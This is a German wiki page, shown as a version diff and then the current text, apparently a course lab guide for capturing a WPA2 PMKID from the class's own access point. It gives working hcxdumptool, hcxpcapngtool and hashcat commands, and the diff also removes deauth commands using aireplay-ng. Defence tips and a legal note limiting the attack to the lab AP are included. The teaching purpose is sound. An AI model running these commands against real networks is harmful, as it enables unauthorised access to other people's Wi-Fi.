Wlan PMKID-Angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(3 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
 
=Szenario=
 
=Szenario=
;Diese Seite ist für die '''Angreifer-Gruppe'''. Ziel ist der Access Point <code>dd-xinux</code>, den die AP-Gruppe stellt (siehe [[accesspoint-hostapd|Access Point aufsetzen]]).
+
;Angriff auf den Access Point <code>dd-xinux</code> (siehe [[accesspoint-hostapd|Access Point aufsetzen]]).
;Es gibt zwei Wege zum Passwort:
+
;PMKID-Angriff: '''clientless''' — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.
*'''Weg 1 – Handshake:''' funktioniert immer, braucht aber einen verbundenen Client und einen Deauth.
 
*'''Weg 2 – PMKID:''' clientless, kein Deauth. Schneller, weil nur der 1. EAPOL-Frame nötig ist.
 
;Beide enden gleich: eine Datei im hashcat-Format, die per Wortliste geknackt wird.
 
  
 
=Passwortliste generieren=
 
=Passwortliste generieren=
Zeile 12: Zeile 9:
 
  ... dies dauert eine Weile
 
  ... dies dauert eine Weile
  
=Störende Dienste stoppen=
+
=WLAN-Karte freiräumen=
*systemctl stop avahi-daemon
+
;NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur <code>wlan0</code> aus seiner Verwaltung nehmen:
*systemctl stop NetworkManager
+
*nmcli dev set wlan0 managed no
  
=Interface suchen=
+
=Ziel-BSSID ermitteln=
*airmon-ng
+
;'''Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an.''' Wir brauchen die MAC-Adresse (BSSID) genau unseres APs <code>dd-xinux</code>.
<pre>
+
;Variante A — direkt am AP ablesen (das ist unser eigener AP):
PHY    Interface      Driver          Chipset
+
*iw dev wlan0 info
phy0    wlan0          rtl8192cu      Edimax Technology Co., Ltd EW-7811Un 802.11n [Realtek RTL8188CUS]
+
;Variante B — kurz scannen und nach der ESSID suchen:
</pre>
+
*hcxdumptool -i wlan0 --rcascan=active
;Wenn störende Prozesse angezeigt werden, diese "killen":
+
;oder mit iw von einer zweiten Karte:
*airmon-ng check kill
+
*iw dev wlan0 scan | grep -iB5 dd-xinux
 +
;Wir notieren die BSSID, z.&nbsp;B. <code>AA:BB:CC:11:22:33</code>.
 +
 
 +
=Filter auf unseren AP bauen=
 +
;'''Am einfachsten''' — hcxdumptool baut den Filter selbst, kein tcpdump nötig:
 +
*hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
 +
;Das <code>or wlan addr3 ffffffffffff</code> lässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames.
 +
;'''Falls hcxdumptool ohne internen Compiler gebaut wurde''', geht es über tcpdump — aber die Karte muss '''vorher''' im Monitor-Modus sein, sonst kennt tcpdump kein <code>wlan addr3</code>:
 +
*hcxdumptool -m wlan0
 +
*tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf
 +
;'''Alte Reihe (bis 6.2.9):''' statt BPF eine Textdatei mit der BSSID '''ohne''' Doppelpunkte:
 +
*echo aabbcc112233 > dd-xinux.txt
  
=Interface in Monitor-Modus=
+
=PMKID abgreifen=
*airmon-ng start wlan0
+
;'''Neue Reihe''' — mit BPF-Filter:
;Hinweis: Je nach Version heißt das Interface danach <code>wlan0mon</code>. In den folgenden Befehlen dann diesen Namen verwenden.
+
*hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf
;Für Weg 2 (PMKID) ist das nicht zwingend — <code>hcxdumptool</code> schaltet die Karte selbst in den Monitor-Modus.
+
;'''Alte Reihe''' — mit Filterliste:
 +
*hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1
 +
;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
 +
;Mit <code>--exitoneapol=1</code> beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist.
 +
;Die Flags ändern sich zwischen den Versionen im Zweifel einmal <code>hcxdumptool -h</code> prüfen.
  
=WLANs anzeigen=
+
=Diagnose: es kommt nichts=
*airodump-ng wlan0
+
;Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen:
;Wir suchen die '''BSSID''' und den '''Channel''' von <code>dd-xinux</code>.
+
;'''1. Regulatory Domain gesetzt?''' Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund.
[[Datei:wlan0-1.png]]
+
*iw reg get
;Für Weg 1 suchen wir zusätzlich eine '''Station''', die mit <code>dd-xinux</code> verbunden ist.
+
*iw reg set DE
[[Datei:wlan0-2.png]]
+
;'''2. Live-Anzeige lesen.''' Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild: oben AP-Status, unten Clients. Steht <code>dd-xinux</code> oben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff.
 +
;'''3. Kanal festnageln.''' hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort:
 +
*iw dev wlan0 info
 +
*hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL
 +
;(Bandschreibweise variiert je Version — <code>hcxdumptool -h</code> zeigt das Format.)
 +
;'''4. Störer wirklich weg?''' NetworkManager/wpa_supplicant drehen sonst an der Karte:
 +
*airmon-ng check kill
 +
;'''Offline-Gegenprobe.''' Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt): hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback.
  
=Weg 1: Handshake (funktioniert immer)=
+
=Fallback: voller Handshake=
==Handshake mitschneiden==
+
;Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet:
*source data
+
*Ein Handy/Notebook mit <code>dd-xinux</code> verbinden (oder kurz trennen und neu verbinden).
*airodump-ng --bssid <BSSIDAP> -c <CHANNEL> -w wlan wlan0
+
;hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei — <code>hashcat -m 22000</code> bleibt identisch.
[[Datei:wlan0-3.png]]
+
;Didaktisch schön: PMKID = clientless, Handshake = mit Client — beide enden im selben Hash.
==Deauth senden (zweites Fenster)==
 
;Wir werfen die Station kurz raus, damit sie sich neu verbindet — beim Wiederverbinden fällt der Handshake an.
 
*source data
 
*aireplay-ng -0 50 -a <BSSIDAP> -c <BSSIDSTATION> wlan0
 
18:40:39  Waiting for beacon frame (BSSID: 00:18:F8:DA:F7:94) on channel 6
 
.....
 
18:57:44  Sending 64 directed DeAuth (code 7). STMAC: [44:74:6C:54:xx:E8] [ 0| 9 ACKs]
 
;bis der Client rausfliegt und sich neu verbindet.
 
==Handshake erhalten==
 
;Oben rechts im airodump-Fenster erscheint "WPA handshake: <BSSIDAP>".
 
[[Datei:wlan0-4.png]]
 
;Der Handshake steckt im '''2. EAPOL-Frame''' (Client → AP) dort sitzt die MIC, unser Vergleichswert.
 
  
=Weg 2: PMKID (clientless)=
+
=In hashcat-Format wandeln=
;Kein verbundener Client, kein Deauth. Wir fragen den PMKID direkt beim AP ab.
 
==PMKID abgreifen==
 
*hcxdumptool -i wlan0 -w dump.pcapng
 
;Läuft ein paar Sekunden. Die Flags von hcxdumptool ändern sich zwischen den Versionen — vorher einmal <code>hcxdumptool -h</code> prüfen.
 
;Der PMKID steckt im '''1. EAPOL-Frame''' (AP → Client). hostapd sendet ihn bei WPA2-PSK automatisch.
 
==In hashcat-Format wandeln==
 
 
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng
 
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng
;Erscheint eine Zeile "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. Wenn nicht, war nichts drin → Weg 1 nutzen.
+
;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
 +
;Kontrolle, dass wirklich nur unser AP drin ist:
 +
*hcxhashtool -i pmkid.hc22000 --info=stdout
  
 
=Cracken=
 
=Cracken=
==Weg 1 – klassisch mit aircrack-ng==
 
*aircrack-ng -w password.lst -b <BSSIDAP> wlan-01.cap
 
[[Datei:wlan0-5.png]]
 
==Beide Wege – modern mit hashcat (Mode 22000)==
 
;Handshake ins 22000-Format wandeln:
 
*hcxpcapngtool -o hs.hc22000 wlan-01.cap
 
;Cracken (Handshake oder PMKID, gleiches Format):
 
*hashcat -m 22000 hs.hc22000 password.lst
 
 
*hashcat -m 22000 pmkid.hc22000 password.lst
 
*hashcat -m 22000 pmkid.hc22000 password.lst
 
;Ergebnis ansehen:
 
;Ergebnis ansehen:
Zeile 85: Zeile 80:
  
 
=Warum ist das knackbar?=
 
=Warum ist das knackbar?=
;Das AP-Passwort <code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
+
;<code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
;8 Zeichen '''gemischt''' (Buchstaben + Ziffern + Sonderzeichen) wären 62^8 &asymp; 2,2&times;10^14 — selbst mit der Titan Jahre. Ein starkes, zufälliges Passwort macht '''beide''' Wege praktisch chancenlos.
+
;8 Zeichen gemischt wären 62^8 &asymp; 2,2&times;10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.
  
 
=Verteidigung=
 
=Verteidigung=
*Langes, zufälliges PSK — schlägt Handshake- und PMKID-Angriff gleichermaßen.
+
*Langes, zufälliges PSK.
 
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
 
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
*'''802.11w''' (Management Frame Protection) macht den Deauth aus Weg 1 wirkungslos.
 
  
=Video=
+
=Rechtlicher Hinweis=
*https://www.youtube.com/watch?v=vnLfCtpANvI
+
;Der BPF-Filter ist nicht nur Technik, sondern Pflicht: Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP <code>dd-xinux</code> angreifen und keine fremden Netze im Gebäude.
  
 
=Links=
 
=Links=

Aktuelle Version vom 20. August 2026, 11:07 Uhr

Szenario

Angriff auf den Access Point dd-xinux (siehe Access Point aufsetzen).
PMKID-Angriff
clientless — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.

Passwortliste generieren

Das AP-Passwort ist 8-stellig numerisch (00001234) — genau dafür bauen wir die Liste.
  • crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes
... dies dauert eine Weile

WLAN-Karte freiräumen

NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur wlan0 aus seiner Verwaltung nehmen
  • nmcli dev set wlan0 managed no

Ziel-BSSID ermitteln

Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an. Wir brauchen die MAC-Adresse (BSSID) genau unseres APs dd-xinux.
Variante A — direkt am AP ablesen (das ist unser eigener AP)
  • iw dev wlan0 info
Variante B — kurz scannen und nach der ESSID suchen
  • hcxdumptool -i wlan0 --rcascan=active
oder mit iw von einer zweiten Karte
  • iw dev wlan0 scan | grep -iB5 dd-xinux
Wir notieren die BSSID, z. B. AA:BB:CC:11:22:33.

Filter auf unseren AP bauen

Am einfachsten — hcxdumptool baut den Filter selbst, kein tcpdump nötig
  • hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
Das or wlan addr3 ffffffffffff lässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames.
Falls hcxdumptool ohne internen Compiler gebaut wurde, geht es über tcpdump — aber die Karte muss vorher im Monitor-Modus sein, sonst kennt tcpdump kein wlan addr3
  • hcxdumptool -m wlan0
  • tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf
Alte Reihe (bis 6.2.9): statt BPF eine Textdatei mit der BSSID ohne Doppelpunkte
  • echo aabbcc112233 > dd-xinux.txt

PMKID abgreifen

Neue Reihe — mit BPF-Filter
  • hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf
Alte Reihe — mit Filterliste
  • hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1
hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
Mit --exitoneapol=1 beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist.
Die Flags ändern sich zwischen den Versionen — im Zweifel einmal hcxdumptool -h prüfen.

Diagnose: es kommt nichts

Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen
1. Regulatory Domain gesetzt? Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund.
  • iw reg get
  • iw reg set DE
2. Live-Anzeige lesen. Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild
oben AP-Status, unten Clients. Steht dd-xinux oben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff.
3. Kanal festnageln. hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort
  • iw dev wlan0 info
  • hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL
(Bandschreibweise variiert je Version — hcxdumptool -h zeigt das Format.)
4. Störer wirklich weg? NetworkManager/wpa_supplicant drehen sonst an der Karte
  • airmon-ng check kill
Offline-Gegenprobe. Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt)
hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback.

Fallback: voller Handshake

Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet
  • Ein Handy/Notebook mit dd-xinux verbinden (oder kurz trennen und neu verbinden).
hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei — hashcat -m 22000 bleibt identisch.
Didaktisch schön
PMKID = clientless, Handshake = mit Client — beide enden im selben Hash.

In hashcat-Format wandeln

  • hcxpcapngtool -o pmkid.hc22000 dump.pcapng
Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
Kontrolle, dass wirklich nur unser AP drin ist
  • hcxhashtool -i pmkid.hc22000 --info=stdout

Cracken

  • hashcat -m 22000 pmkid.hc22000 password.lst
Ergebnis ansehen
  • hashcat -m 22000 pmkid.hc22000 --show

Crack-Geschwindigkeiten

  • Laptop schafft circa 1000 Keys pro Sekunde
  • Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
  • Online-Rechenpower mieten
  • Cluster aus mehreren Grafikkarten bauen

Warum ist das knackbar?

00001234 ist 8-stellig numerisch
10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
8 Zeichen gemischt wären 62^8 ≈ 2,2×10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.

Verteidigung

  • Langes, zufälliges PSK.
  • WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.

Rechtlicher Hinweis

Der BPF-Filter ist nicht nur Technik, sondern Pflicht
Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP dd-xinux angreifen und keine fremden Netze im Gebäude.

Links